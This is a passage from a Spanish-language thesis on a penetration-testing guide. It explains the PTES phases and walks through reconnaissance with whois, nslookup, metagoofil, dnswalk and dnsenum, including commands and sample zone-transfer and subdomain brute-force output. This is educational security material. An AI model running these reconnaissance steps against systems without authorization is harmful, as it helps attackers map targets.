referente a ellos en muchas pginas creadas con este fin. Tenga en cuenta que debemos
conocer contra qu nos enfrentamos, por lo tanto no podemos tomar a la ligera este
conocimiento.

Una Vulnerabilidad es la capacidad, las condiciones y caractersticas del sistema mismo


(incluyendo la entidad que lo maneja), que lo hace susceptible a amenazas, con el
resultado de sufrir algn dao. En otras palabras, es la capacitad y posibilidad de un
sistema de responder o reaccionar a una amenaza o de recuperarse de un dao. Las
vulnerabilidades estn en directa interrelacin con las amenazas porque si no existe una

33

amenaza, tampoco existe la vulnerabilidad o no tiene importancia, porque no se puede


ocasionar un dao.

Las evaluaciones de vulnerabilidad se pueden dividir en dos grandes categoras: Desde


afuera viendo hacia adentro (Cover penetration testing) y Desde adentro viendo
alrededor (Overt penetration testing) .

Cuando se lleva a cabo una evaluacin de vulnerabilidad desde afuera, se est tratando
de comprometer el sistema desde afuera. Al posicionarse desde afuera de la compaa
puede ver las cosas desde el punto de vista del intruso. Usted ve lo que ve un intruso
direcciones IP pblicas, sistemas en su DMZ, las interfaces externas de su cortafuegos y
ms. DMZ viene de "zona desmilitarizada" lo que corresponde a un computador o a una
pequea subred que se coloca entre la red confiable interna, tal como la LAN
corporativa, y una red externa no confiable, tal como la Internet. Tpicamente, la DMZ
contiene dispositivos accesibles al trfico de la Internet, tal como servidores Web
(HTTP), FTP, SMTP (correo electrnico) y servidores DNS.

Cuando realiza una evaluacin de vulnerabilidad desde adentro, de alguna forma se


tiene la ventaja, puesto que ya est adentro y su estatus es elevado y de confianza.
Puede ver los servidores de impresin, servidores de archivos, bases de datos y otros
recursos.

34

Hay diferencias importantes entre estos dos tipos de evaluaciones de vulnerabilidad.


Siendo interno a su compaa le otorga mayores privilegios, mucho ms que cualquier
persona de fuera. Hoy da, en la mayora de las organizaciones, la seguridad es
configurada de forma tal que se mantengan a los intrusos afuera. Se hace muy poco para
asegurar la parte interna de la organizacin (tales como cortafuegos departamentales,
controles de acceso a nivel de usuario, procedimientos de autenticacin para recursos
internos y ms). Tpicamente, hay muchos ms recursos cuando se est adentro y
mirando alrededor pues la mayora de los recursos son internos a la compaa. Una vez
que se encuentra fuera de la compaa, inmediatamente se le da condicin de no fiable.
Los sistemas y recursos que tiene disponibles son tpicamente mucho ms limitados.

La diferencia entre las evaluaciones de vulnerabilidad y las pruebas de penetracin.


Una evaluacin de vulnerabilidad es el primer paso de una prueba de penetracin. La
informacin reunida a partir de la evaluacin ser usada en las pruebas. Mientras que la
evaluacin de vulnerabilidad busca huecos y vulnerabilidades potenciales, las pruebas
de penetracin tratan de explotar los resultados. El acceso a la infraestructura de red es
un proceso dinmico. La seguridad, tanto de informacin como fsica, es dinmica. Al
realizar una evaluacin, se tiene una vista general, la cual puede arrojar falsos positivos
y falsos negativos.

35

Los administradores de seguridad son buenos en la medida que tambin lo sean las
herramientas que usen y el conocimiento que posean. Por ejemplo, tomemos cualquier
herramienta de evaluacin disponible en el mercado y ejecutmosla en un sistema. Es
casi que garantizado que se encontrar al menos algunos falsos positivos. Bien sea por
un error del programa o del usuario, el resultado es el mismo. La herramienta puede
encontrar vulnerabilidades que en realidad no existen (falsos positivos), o peor an, la
herramienta puede que no encuentre vulnerabilidades que actualmente si existen (falsos
negativos).

Ahora que estn definidas las diferencias entre evaluaciones de vulnerabilidad y


pruebas de penetracin, es una buena idea reunir las conclusiones de la evaluacin y
revisarlas cuidadosamente antes de llevar a cabo una prueba de penetracin como parte
de sus nuevos buenos hbitos. Sin embargo, tenga en cuenta que intentar explotar las
vulnerabilidades sobre recursos en produccin puede tener resultados adversos a la
productividad y eficiencia de sus sistemas y redes.

Las pruebas de penetracin son una forma de simular los mtodos que un atacante
podra utilizar para eludir los controles de seguridad y acceso al sistema de
una organizacin. Las pruebas de penetracin son ms que el mero funcionamiento de
escneres y herramientas automatizadas con el fin de obtener un informe escrito de las

36

vulnerabilidades. Para convertirse en un experto en pruebas de penetracin se


necesita aos de prctica en el mundo real y experiencia para llegar a dominarlas

En

la

actualidad, hay

un

cambio en

la

forma

de definir las

pruebas

de

penetracin dentro de la industria de la seguridad informtica. Los mtodos de


ejecucin del Estndar de las Pruebas de Penetracin (Penetration Testing Execution
Standard - PTES) est redefiniendo la forma en que las pruebas de penetracin son
puestas en prctica tanto por los nuevos profesionales, como por los experimentados en
este tema, y que ha sido adoptado por varios miembros destacados de la comunidad de
seguridad informtica. Su propsito es la de definir y crear conciencia sobre lo que es
una verdadera prueba de penetracin mediante el establecimiento de una base de
referencia sobre los principios fundamentales que se requieren para llevar a cabo una
prueba de penetracin.

Las PTES estn basadas en 7 fases, que estn diseadas para asegurar que la
organizacin y sus clientes posean un nivel estandarizado de seguridad basado en la
norma. Las siete categoras en las que se divide la norma poseen diferentes niveles de
esfuerzo requerido por cada una de ellas, dependiendo de la organizacin bajo ataque.
Las fases son:

1) Interaccin de compromiso organizacional (Pre-engagement Interactions)

37

2) Recoleccin de datos (Intelligence Gathering)


3) Modelado de las Amenazas (Threat Modeling)
4) Anlisis de Vulnerabilidades (Vulnerability Analysis)
5) Explotacin de las Vulnerabilidades (Exploitation)
6) Post - Explotacin (Post Exploitation)
7) Reporte (Reporting)

Adems como dijimos, existen dos tipos de pruebas de penetracin: a) Pruebas de


penetracin externas y b) Pruebas de penetracin internas, estas fueron definidas
con anterioridad, pero cabe decir que estas se clasifican de acuerdo a la cantidad de
informacin que posee el pen-tester13.

Estas son:

White Box Test: es un chequeo llevado a cabo por un pen-tester que tiene toda
la informacin acerca del sistema.

Black Box Test: este chequeo es llevado a cabo desde cero, sin informacin, tal
como lo hara un intruso cualquiera y lleva mucho ms tiempo.

Grey Box Test: se cuenta con conocimientos parciales del objetivo, siempre
brindados por la misma organizacin.

13

Persona encargada de realizar la prueba de penetracin

38

Hoy en da el pen-testing juega un rol importante en la seguridad informtica. El auge


del internet, las redes LAN y WAN; han permitido el crecimiento de las diferentes
tcnicas usadas en este tema. En la actualidad existen estndares internacionales que
nos sirven como referente en el pen-testing, los cuales han dado lugar a diferentes
libros, manuales y herramientas para la puesta en prctica de esta disciplina.

Metasploit Framework y BackTrack 5 son dos poderosas herramientas usadas en las


pruebas de penetracin, ellas cuentas con una serie de herramientas para abordar las
etapas de pen-testing anteriormente descritas. Este cmulo de programas se orientan
en diversas tcnicas de ataque tales como:

Mapeo de redes: Descubrimiento de hosts y servicios en la red, escner de


puertos.

Fingerprinting de sistemas: Descubrimiento de S.O. y servicios, Aplicaciones


de Fingerprinting.

Vulnerabilidades en los sistemas: Extraccin de informacin de los servidores,


escner de vulnerabilidades.

Bsqueda de vulnerabilidades en aplicaciones WEB: Cross Site Scripting,


Inyeccin SQL, Etc.

El BackTrack es un conjunto de herramientas para realizar pruebas de penetracin, el


cual consiste en un disco de arranque basado en la versin de distribucin Ubuntu

39

Linux y que se puede trabajar de en vivo (Live) o mediante instalacin en el disco duro.
Las herramientas incluidas en el BackTrack 5 son las siguientes:

Recoleccin de informacin: Esta categora contiene varias herramientas que


pueden ser utilizadas para obtener informacin con respecto a un objetivo tal
como un servidor DNS, enrutamiento, direcciones de correo electrnico, sitios
web, servidores de correo, y as sucesivamente. Esta informacin se recolecta a
travs de Internet, sin tocar el entorno del objetivo en estudio.

Mapeo de la red: esta categora contiene varias herramientas que pueden ser
usadas para revisar los computadores y dispositivos de interconexin activos en
la red, revisar y recolectar las huellas digitales (fingerprints) de los sistemas
operativos, para revisar las aplicaciones usadas por el equipo objetivo, y tambin
para realizar un escaneo de los puertos.

Identificacin de las vulnerabilidades: en esta categora se pueden encontrar


herramientas para escanear vulnerabilidades en general y de dispositivos Cisco
en particular. Tambin contiene herramientas para llevar a cabo un fuzzing 14 y
analizar los protocolos SMB (Server Message Block) y SNMP (Simple Network
Management Protocol).

Anlisis de aplicaciones Web: esta categora contiene herramientas que son


tiles en una auditoria de aplicaciones web

14

Se llama fuzzing a las diferentes tcnicas de testeo de software capaces de generar y enviar datos secuenciales o
aleatorios a una o varias reas o puntos de una aplicacin, con el objeto de detectar defectos o vulnerabilidades existentes
en el software auditado. Es utilizado como complemento a las prcticas habituales de chequeo de software, ya que
proporcionan cobertura a fallos de datos y regiones de cdigo no testados, gracias a la combinacin del poder de la
aleatoriedad y ataques heursticos entre otros.

40

Anlisis de redes inalmbricas: para auditar redes inalmbricas, bluetooth e


identificadores de radio frecuencias (RFID)

Penetracin: esta categora contiene herramientas que pueden ser usadas para
explotar las vulnerabilidades encontradas en la maquina objetivo.

Escalamiento de privilegios: despus de explotar las vulnerabilidades y ganar


el acceso a la maquina objetivo, se pueden usar las herramientas de esta
categora para escalar privilegios en la maquina atacada, desde las ms bajos
(usuarios) hasta los ms altos (administradores).

Mantener el acceso: las herramientas de esta categora le ayudaran a mantener


el acceso a la maquina objetivo. Para esto es necesario obtener primero un alto
privilegio de acceso para poder instalar las herramientas para mantener el
acceso.

Voz sobre IP: se usan para analizar VoIP

Adems de este conjunto de herramientas BackTrack posee otras que se pueden usar en:
Informtica Forense e ingeniera inversa.

Por otro lado, el Metasploit Framework

es una herramienta que posee un

sistema completo que proporciona la infraestructura necesaria para automatizar rutinas


y tareas

complejas.

Este

permite concentrarse

en los

aspectos

singulares o

especializados de la pruebas penetracin y en la identificacin de fallas dentro de


su programa de seguridad de la informacin.

41

Tambin le permite establecer unas metodologas muy completas, en donde fcilmente


se pueden construir vectores de ataques para incrementar sus exploits, payloads,
encoders y mucho ms, con el fin de crear y ejecutar ataques ms avanzados. Este pose
varias herramientas de terceros, tales como Nmap, NSLookUp, Netcraft, etc.

Tambin existen manuales y libros que exponen el uso de las herramientas antes
mencionadas. Presentan diferentes escenarios de ataque con los cuales podemos
aprender a usar las rutinas necesarias para descubrir, evaluar y mitigar las fallas de
seguridad.

2.5. OBJETIVOS

2.5.1. OBJETIVO GENERAL


Disear e implementar una gua tcnica para la realizacin de pruebas de
penetracin con el fin de evaluar, analizar, clasificar, reducir y controlar los riesgos
en la seguridad informtica de una red de computadores LAN

2.5.2. OBJETIVOS ESPECIFICOS


2.5.2.1. Identificar los diferentes tipos de ataques posibles a una red de
computadores mediante de una evaluacin de riesgos

42

2.5.2.2. Aprender a buscar y reconocer las vulnerabilidades en una red de


computadores, basados en las metodologas de hacking de deteccin
existentes
2.5.2.3. Aplicar y dominar las diferentes fases que se llevan a cabo en las pruebas
de penetracin
2.5.2.4. Instalar y manejar de forma adecuada las herramientas usadas en las
pruebas de penetracin y la evaluacin de vulnerabilidades
2.5.2.5. Desarrollar las diferentes medidas de mitigacin de amenazas basados en
la evidencia recolectada
2.5.2.6. Realizar un anlisis de riesgo para determinar que componentes del
sistema informtico que requieren proteccin.

2.6. METODOLOGA PROPUESTA


Una vez identificada la problemtica que dio origen al presente proyecto, los
investigadores encuentran una serie de inquietudes e ideas que deben ser canalizadas,
organizadas en forma secuencial y priorizadas, con el fin de establecer un cronograma
de trabajo por etapas que lleve a la adopcin de un mtodo que indique el camino hacia
la consecucin del objetivo primordial de este proyecto.

Las diferentes etapas establecidas que constituyen el mtodo aplicado por los
investigadores en el presente proyecto son: fase preliminar, anlisis general, anlisis
especfico, diseo, implementacin, operacin y mantenimiento, en donde la promocin

43

de cada una de ellas representa la consecucin de un objetivo especfico y un aporte


significativo para lograr el objetivo general.

Para el desarrollo de la investigacin es necesario emplear una metodologa idnea, la


cual sea apropiada para el tipo de proyecto que permita alcanzar los objetivos
propuestos y solucionar el interrogante central al igual que las inquietudes surgidas
durante el desarrollo del proyecto.

Para el diseo e implementacin de la Gua Tcnica que se esta realizando, se utilizar


el estudio descriptivo. Este se emplea en esta investigacin porque se fundamenta sobre
realidades de hecho. Aqu se describe, analiza e interpreta la naturaleza actual del
fenmeno en estudio. Segn Roberto Hernndez Sampieri15, los estudios descriptivos
buscan especificar las propiedades importantes de un fenmeno sometido a anlisis. Por
lo tanto en nuestro proyecto buscamos analizar el comportamiento de cada una de las
fases existentes en las pruebas de penetracin y a partir de la interpretacin de los
resultados disearemos e implementaremos esta Gua Tcnica; poniendo mucha
atencin en que su funcionamiento y dimensionado este de acuerdo con la
interpretacin previa.

El mtodo utilizado en la investigacin es el deductivo, puesto que en primera instancia


se consider un problema especifico, el cual fue estudiado y analizado tomando en
cuenta las situaciones y circunstancias que nos ayudaron a entender y a desarrollar
15

SAMPIERI H, Roberto Metodologa de la Investigacin. Mc Graw Hill.1991. Pg.47.

44

mejor nuestra propuesta de investigacin, con el fin de sacar conclusiones a partir de


las premisas obtenidas previamente y que a su vez definen las condiciones del proyecto.

3. ANLISIS DE RESULTADO Y PROPUESTA INGENIERIL


Los requerimientos previos para el inicio de una evaluacin y posterior prueba de
penetracin de un sistema determinado se muestran en la siguiente tabla:

Tabla #?: Fases del estndar PTES (Penetration Testing Execution Standart)

DESCRIPCIN

FASES

Ocurre cuando se discute el alcance y los trminos de la


prueba de penetracin con su cliente. Es de suma

Interacciones de Compromiso
Organizacional
(Pre-engagement Interactions)

importancia que durante el pre-compromiso se transmitan


los objetivos del trabajo. Esta fase tambin sirve como
oportunidad de educar a los clientes acerca de lo que se
espera, del alcance total de la prueba de penetracin sin
restricciones con respecto a lo que se puede y lo que se
pondr a prueba durante el trabajo.

Aqu se rene toda la informacin que se puede acerca de


la organizacin que est evaluando. Esta informacin nos

Recoleccin de Datos
(Intelligence Gathering)

dar una visin valiosa sobre los tipos de controles de


seguridad que existen en el lugar. Se intentar identificar
qu mecanismos de proteccin se aplicaran en el lugar para
realizar pruebas inciales en el sistema.

45

En esta fase se usa la informacin adquirida en la fase


anterior, para identificar cualquier vulnerabilidad existente
en el sistema. Cuando se realiza el modelo de las amenazas,

Modelado de las Amenazas


(Threat Modeling)

se determinar los mtodos de ataques ms efectivos, La


informacin del cmo puede ser atacado el sistema. El
modelo de amenazas consiste observar a una organizacin
como un adversario y tratar de atacar sus debilidades como
un atacante lo hara.

Habiendo identificado el mtodo de ataque ms viable,

Anlisis de Vulnerabilidades
(Vulnerability Analysis)

ahora se necesita considerar como acceder al objetivo.


Durante este anlisis, se combinara la informacin que
usted aprendi de las fases anteriores y utilizarlas para
determinar cules ataques pueden ser viables.

La fase de explotacin de una prueba de penetracin se


centra exclusivamente en el establecimiento de un sistema
de acceso a los recursos o saltarse las restricciones de
seguridad de un sistema. Si la fase previa, anlisis de
vulnerabilidad se ha realizado correctamente, esta fase debe
estar bien planificada para lanzar

Explotacin de las Vulnerabilidades


(Exploitation)

un ataque con

precisin. El objetivo es identificar el punto de entrada


principal en la organizacin y de identificar los activos de
alto valor objetivo. Si la fase de anlisis de vulnerabilidad
se complet correctamente, una obtendr una lista de
valores objetivo de alto valor que se han cumplido. En
definitiva, el vector de ataque debe tener en cuenta la
probabilidad de xito y de mayor impacto en la
organizacin.

46

El propsito de la fase de post-explotacin es el de


determinar el valor de la mquina comprometida y para
mantener el control de la mquina para su uso
posterior. El valor de la mquina est determinado por la
sensibilidad de los datos almacenados en ella y la utilidad
de las mquinas de comprometer an ms la red. Los
mtodos descritos en esta fase estn destinados a ayudar

Post - Explotacin
(Post Exploitation)

a los pen-tester identificar y documentar los datos


sensibles, identificar opciones de configuracin, los
canales de comunicacin y las relaciones con otros
dispositivos de red que se pueden utilizar para obtener un
mayor acceso a la red y la configuracin de uno o ms
mtodos de acceder a la mquina en un momento
posterior. En los casos en que estos mtodos difieren de
los Reglas de compromiso acordadas, las normas de
intervencin deben ser seguidas.

La fase de reporte es un documento que tiene por objeto


definir los criterios de base para la presentacin de
informes de pruebas de penetracin. Aunque es muy

Reporte
(Reporting)

animado a usar su propio formato personalizado y de


marca,

se

debe

proporcionar

un alto

nivel de

comprensin de los elementos necesarios dentro de un


informe, as como una estructura para el informe de
proporcionar un valor para el lector.

De acuerdo a estos requerimientos iniciales podemos separar en bloques constitutivos cada


fase del pen-testing. Haremos una breve descripcin de las herramientas usadas en cada
fase. Se debe tener en cuenta que hemos optado por aplicar la metodologa estndar PTES,
por lo tanto, hacemos hincapi en que se debe conocer, en profundidad, cada fase que
involucra esta metodologa. Sin embargo, tambin se pueden aplicar las otras metodologas
expuestas en el presente escrito.

47

FASE I:
Interacciones de Pre-compromiso Organizacional: sta fase define todas las actividades
de pre-compromiso organizacional con el cliente, y define el alcance de la prueba de
penetracin.

FASE II:
La Recoleccin de datos: Se usa para reunir tanta informacin como sea posible para ser
utilizados cuando se penetra en el objetivo, durante la evaluacin de la vulnerabilidad y las
fases de explotacin. Cuanta ms informacin usted es capaz de reunir durante esta fase,
son ms los vectores de ataque que pueda usar en el futuro.

Se debe tener en cuenta que los procedimientos descritos en esta fase pueden, realmente,
daar su sistema y el sistema objetivo, as que asegrese de configurar un entorno de
prueba. Muchos de los ejemplos aqu presentados pueden ser destructivos y hacer que la
maquina atacada quede inutilizable. Las actividades mencionadas aqu se podran
considerar ilegales si se llevan a cabo por alguien con malas intenciones, por lo que se
sugiere, de forma enftica, seguir las reglas.

Recoleccin de Informacin de Forma Pasiva


Mediante la recopilacin de informacin de forma pasiva e indirecta, se puede descubrir la
informacin sobre los objetivos, sin tocar sus sistemas. Por ejemplo, puede utilizar
estas tcnicas para identificar los lmites de la red, identificar a los administradores de la

48

red, e incluso saber qu sistema operativo y cual software de servidor web se est
utilizando en la red de destino.

Las herramientas usadas en Metasploit Framework para cumplir con esta fase del Pentesting son:

Whois Lookups
Comencemos usando la herramienta Whois Lookup de BackTrack, que hace parte del
arsenal de aplicaciones del Metasploit, y que es usada para buscar los nombres de
servidores de dominio DNS
msf > whois secmaniac.net
[*] exec: whois secmaniac.net
. . . SNIP . . .
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10
Domain servers in listed order:
NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM

Donde DOMAINCONTROL.COM es el servidor DNS donde est alojada la pgina


secmaniac.net. Este puede ser un buen ejemplo de un sistema que no podemos incluir en
una prueba de penetracin, debido a que no poseemos la autorizacin para atacarlo. Sin
embargo, en las ms grandes organizaciones, los servidores DNS estn ubicados en la
compaa haciendo viable el uso de este vector de ataque. Las transferencias de zona y
ataques similares DNS, a menudo pueden ser usados para aprender ms acerca de una red
desde ambos lados, es decir desde afuera de la red o desde adentro de esta. En este

49

panorama, debido a que DOMAINCONTROL.COM no es propietario de secmaniac.net,


podramos pensar en atacar este sistema mediante otro vector de ataque diferente.
Netcraft
Es una herramienta basada en una pgina web que puede ser til para encontrar las
direcciones IP del servidor de alojamiento de un sitio web determinado

Site

http://www.secmaniac.com

Last reboot

unknown

Domain

secmaniac.com

Netblock
owner

Linode

IP address

75.118.185.142

Site rank

103097

Nameserver

ns1.secmaniac.com

Country

US

Uptime graph

Date first
seen

April 2010

DNS admin

admin@dnsimple.com

Domain
Registrar

enom.com

Reverse
DNS

li376-220.members.linode.com

Organisation Whois Privacy Protection Service, Inc.

Nameserver Whois Privacy Protection Service,


Organisation Inc.

Check
another site:

Netcraft Site
Report
[More Netcraft Gadgets]
Gadget

Luego habiendo identificado la direccin IP del sitio web, realizamos un whois lookup para
esta direccin IP
msf > whois 75.118.185.142
[*] exec: whois 75.118.185.142
WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255
WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255

Vemos que del whois lookup realizado, la direccin IP (WIDEOPENWEST) aparece como
un proveedor de servicio legtimo. Mientras que el actual rango de subred no est
especficamente registrado a secmaniac.net o secmaniac.com, podemos decir que este sitio
50

aparece como alojado dentro de una ubicacin propia, esto se puede percibir porque el
bloque de direcciones IP aparece como una parte de un rango residencial de direcciones

NSLookup
Para conseguir informacin adicional de un servidor,

podremos usar la herramienta

BackTrack nslookup, la cual est incluida en la mayora de los sistemas operativos.

root@bt:~# nslookup
set type=mx
> secmaniac.net
Server: 172.16.32.2
Address: 172.16.32.2#53
Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstore1.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

Observamos en la lista que los servidores de correo apuntan al mailstore1.secureserver.net


y smtp.secureserver.net. Una rpida bsqueda en este servidor de correo nos dice que este
sitio web est alojado por un tercero, el cual podra no estar dentro del alcance de nuestra
prueba de penetracin.

En este punto hemos recopilado cierta informacin valiosa la cual podramos usar para
realizar un ataque contra la maquina o el sistema objetivo. Sin embargo, tendremos que
recurrir a las tcnicas de recopilacin de informacin activa para determinar el estado de los
puertos de la direccin IP objetivo, la cual es 75.118.185.142.

51

Las herramientas usadas en BackTrack 5 que se usan para cumplir con esta fase del Pentesting son:

Metagoofil
Es usada para recolectar informacin de documentos disponibles en el dominio objetivo. La
ventaja de usar esta herramienta es que no se accede a la informacin directamente, sino a
travs de Google, de tal forma que el sitio web atacado no sabr quien est realizando las
acciones sobre l.
# cd /pentest/enumeration/google/metagoofil
# ./metagoofil.py

Luego nos muestra lo siguiente


*************************************
* Metagoofil Ver 2.1 *
* Christian Martorella
*
* Edge-Security.com
*
* cmartorella_at_edge-security.com
*
* Blackhat Arsenal Edition
*
*************************************
Metagoofil 2.1:
Usage: metagoofil options
-d: domain to search
-t: filetype to download (pdf,doc,xls,ppt,odp,ods,docx,xlsx,pptx)
-l: limit of results to search (default 200)
-h: work with documents in directory (use "yes" for local analysis)
-n: limit of files to download
-o: working directory
-f: output file
Examples:
metagoofil.py -d microsoft.com -t doc.pdf -l 200 -n 50 -o microsoftfiles -f results.html
metagoofil.py -h yes -o microsoftfiles -f results.html (local dir analysis)

Para realizar la prueba tecleamos en la lnea de comando lo siguiente

52

# ./metagoofil.py -d targetdomain -l 20 -f output.html -o docfiles -t .pdf

Donde cada una de las opciones esta descritas en el cuadro anterior. El resultado de un
posible comando valido puede ser:
[+] Command extract found, proceeding with leeching
[+] Searching in targetdomain for: pdf
[+] Total results in google: 1480
[+] Limit: 20
[+] Searching results: 0
[ 1/20 ] http://targetdomain/knowledge_warehouse/Netbook.pdf
[ 2/20 ] http://targetdomain/Bulletin/Edisi_4_Agustus_1.pdf
...
[+] Searching in targetdomain for: doc
[+] Total results in google: 698
[+] Limit: 20
[+] Searching results: 0
[+] Directory test already exist, reusing it
...
[ 8/20 ] http://targetdomain/data/file20070813152422391.doc
[ 9/20 ] http://targetdomain/data/file20080224161424426.doc
...
[+] Searching in targetdomain: xls
[+] Total results in google: 212
[+] Limit: 20
[+] Searching results: 0
[+] Directory test already exist, reusing it
[ 1/20 ] http://targetdomain/data/Unpublish/1000Sumatera.xls
[ 2/20 ] http://targetdomain/data/Unpublish/1200Sumut.xls
...
Usernames found:
================
Author(User)User
Regulator
Lawful
user
USER
Monitoring
Pink-7
Paths found:
\
(Windows\))/Author(User)/\
Normal\

53

[+] Process finished

Podemos ver que por medio de esta herramienta lo siguiente: la bsqueda se hace el
targetdomain, el cual puede ser cualquier servidor o host que almacene documentos. El
lmite de bsqueda de documentos es 20. En caso de encontrar un documento metagoofil
mostrara una lnea con la direccin web donde est el documento, por ejemplo:
http://targetdomain/knowledge_warehouse/Netbook.pdf.

Informacin DNS
Las herramientas agrupadas en esta categora pueden ser usadas para obtener informacin
acerca del Sistema de Nombres de Dominio, tambin conocido como DNS (Domain Name
System), as como tambin la configuracin del Servidor DNS. Comenzamos con:

DNS Walk
Esta herramienta busca informacin completa de la lista de direcciones IP almacenados en
un servidor DNS. Esta funciona usando una transferencia de zona DNS, la cual es un
mecanismo usado para replicar una base de datos desde un servidor DNS maestro a otro
servidor DNS, usualmente llamado servidor DNS esclavo. Con este mecanismo los
servidores DNS se sincronizan, en donde dicha sincronizacin en el protocolo DNS es
usada por el que realiza la prueba de penetracin para recopilar informacin del dominio
objetivo.

54

# cd /pentest/enumeration/dns/dnswalk
# ./dnswalk targetdomain.

Observamos que en el segundo comando, al final se coloca un punto (.). A continuacin se


muestra el resultado del comando:
Checking targetdomain.
Getting zone transfer of targetdomain. from ns1.targetdomain...done.
SOA=ns.targetdomain contact=admin.targetdomain
WARN: af-colo.targetdomain A 10.255.xx.xx: no PTR record
WARN: core.targetdomain A 192.168.xx.xx: no PTR record
WARN: distga.targetdomain A 192.168.xx.xx: no PTR record
WARN: distgb.targetdomain A 192.168.xx.xx: no PTR record
WARN: distgc.targetdomain A 192.168.xx.xx: no PTR record
WARN: mxbackup.targetdomain A 192.168.xx.xx: no PTR record
WARN: ns2.targetdomain A 192.168.xx.xx: no PTR record
WARN: ftp.streaming.targetdomain CNAME stream.targetdomain: unknown
host
WARN: test.targetdomain A 192.168.xx.xx: no PTR record
WARN: webmail2.targetdomain A 192.168.xx.xx: no PTR record
WARN: www2.targetdomain A 192.168.xx.xx: no PTR record

Debe tenerse en cuenta que hoy en da los servidores DNS no permiten la transferencia de
zona; los administradores de red monitorizan este comportamiento debido a que
representan una alarma de ataque contra el servidor.

DNSenum
Esta herramienta funciona de la misma forma que dns walk, pero tiene unos enfoques
adicionales, los cuales son: es capaz de conseguir nombres de subdominios extra usando
Google search engine; halla nombres de subdominios mediante fuerza bruta (dnsenum
incluye un archivo de texto llamado dns.txt que contiene 95 nombres de subdominios;
puede llevar a cabo consultas whois en los intervalos de dominio de red clase C y calcula

55

los rangos de red; lleva a cabo bsquedas inversas (reverse lookup) en un determinado
intervalo de red; usa threads (hilos) para realizar diferentes consultas.

Para acceder a la herramienta dnsenum escribimos el siguiente comando:


# cd /pentest/enumeration/dnsenum
# ./dnsenum.pl

El men de ayuda se muestra a continuacin:


dnsenum.pl VERSION:1.2.2
Usage: dnsenum.pl [Options] <domain>
[Options]:
Note: the brute force -f switch is obligatory.
GENERAL OPTIONS:
--dnsserver <server>
Use this DNS server for A, NS and MX queries.
--enum
Shortcut option equivalent to --threads 5 -s 20 -w.
-h, --help
Print this help message.
--noreverse
Skip the reverse lookup operations.
--private
Show and save private ips at the end of the file domain_ips.txt.
--subfile <file>
Write all valid subdomains to this file.
-t, --timeout <value> The tcp and udp timeout values in seconds (default: 10s).
--threads <value>
The number of threads that will perform different queries.
-v, --verbose
Be verbose: show all the progress and all the error messages.
GOOGLE SCRAPING OPTIONS:
-p, --pages <value> The number of google search pages to process when scraping names,
the default is 20 pages, the -s switch must be specified.
-s, --scrap <value> The maximum number of subdomains that will be scraped from Google.
BRUTE FORCE OPTIONS:
-f, --file <file>
Read subdomains from this file to perform brute force.
-u, --update <a|g|r|z>
Update the file specified with the -f switch with valid subdomains.
a (all)
Update using all results.
g
Update using only google scraping results.
r
Update using only reverse lookup results.
z
Update using only zonetransfer results.
-r, --recursion Recursion on subdomains, brute force all discovred subdomains that have an NS
record.
WHOIS NETRANGE OPTIONS:
-d, --delay <value> The maximum value of seconds to wait between whois queries, the

56

value is defined randomly, default: 3s.


-w, --whois
Perform the whois queries on c class network ranges.
**Warning**: this can generate very large netranges and it will take lot
of time to performe reverse lookups.
REVERSE LOOKUP OPTIONS:
-e, --exclude <regexp>
Exclude PTR records that match the regexp expression from reverse
lookup results, useful on invalid hostnames.
OUTPUT OPTIONS:
-o --output <file>
Output in XML format. Can be imported in MagicTree
(www.gremwell.com)

La sintaxis para ejecutar una bsqueda de informacin es:


# ./dnsenum.pl targetdomain

El cual mostrar el siguiente resultado:


----- targetdomain ----Host's addresses:
targetdomain.
Name servers:
ns2.targetdomain.
ns.targetdomain.
ns1.targetdomain.
MX record:
maildev.targetdomain.

1800

IN

192.168.xx.xx

1515
1515
1514

IN
IN
IN

A
A
A

192.168.xx.xx
192.168.xx.xx
192.168.xx.xx

1458

IN

192.168.xx.xx

En el caso anterior se muestra cuando no es posible realizar una transferencia de zona, por
lo tanto se intentar usar un ataque de fuerza bruta a partir del archivo dns.txt. Este ser
el comando apropiado:
# ./dnsenum.pl -f dns.txt targetdomain

El cual resultar en la obtencin de varios subdominios del objetivo, as:

57

-----------------------------Brute forcing with dns.txt:


-----------------------------ns.targetdomain.
940
ntp.targetdomain.
1010
pop.targetdomain.
1007
smtp.targetdomain.
1004
voips.targetdomain.
993
www.targetdomain.
1667
------------------------------targetdomain c class netranges:
------------------------------192.168.xx.0/24

IN
IN
IN
IN
IN
IN

A
A
A
A
A
A

192.168.xx.xx
192.168.xx.xx
192.168.xx.xx
192.168.xx.xx
192.168.xx.xx
192.168.xx.xx

Luego si se presenta el caso en el que el objetivo permite la transferencia de zona,


aplicamos el siguiente comando:
# ./dnsenum.pl targetdomain

Con el cual obtendremos el siguiente resultado


--------------------Trying Zonetransfers:
--------------------trying zonetransfer for targetdomain on ns1.targetdomain ...
targetdomain. 1800 IN SOA ns.targetdomain. admin.
targetdomain. (
2011010101 ; Serial
3600 ; Refresh
600 ; Retry
86400 ; Expire
900 ) ; Minimum TTL
targetdomain.
1800
IN
MX
10 maildev.targetdomain.
targetdomain.
1800
IN
A
ww.xx.yy.zz
targetdomain.
1800
IN
NS
ns.targetdomain.
targetdomain.
1800
IN
NS
ns1.targetdomain.
targetdomain.
1800
IN
NS
ns2.targetdomain.
...
voips.targetdomain.
1800
IN
A
ww.xx.yy.zz
vpn.targetdomain.
1800
IN
A
ww.xx.yy.zz
webdev.targetdomain.
1800
IN
A
ww.xx.yy.zz
webmail.targetdomain.
1800
IN
CNAME
webdev.targetdomain.
webmail2.targetdomain.
1800
IN
A
ww.xx.yy.zz
dev.www.targetdomain.
1800
IN
A
ww.xx.yy.zz
www2.targetdomain.
1800
IN
A
ww.xx.yy.zz

58

Aqu se puede observar una valiosa informacin recopilada tal como las direcciones IP
internas, y los mapas de direcciones IP de los host activos (Alive).
Informacin de enrutamiento
En esta categora se agrupan ciertas herramientas especializadas en la recoleccin de
informacin sobre el enrutamiento

0trace
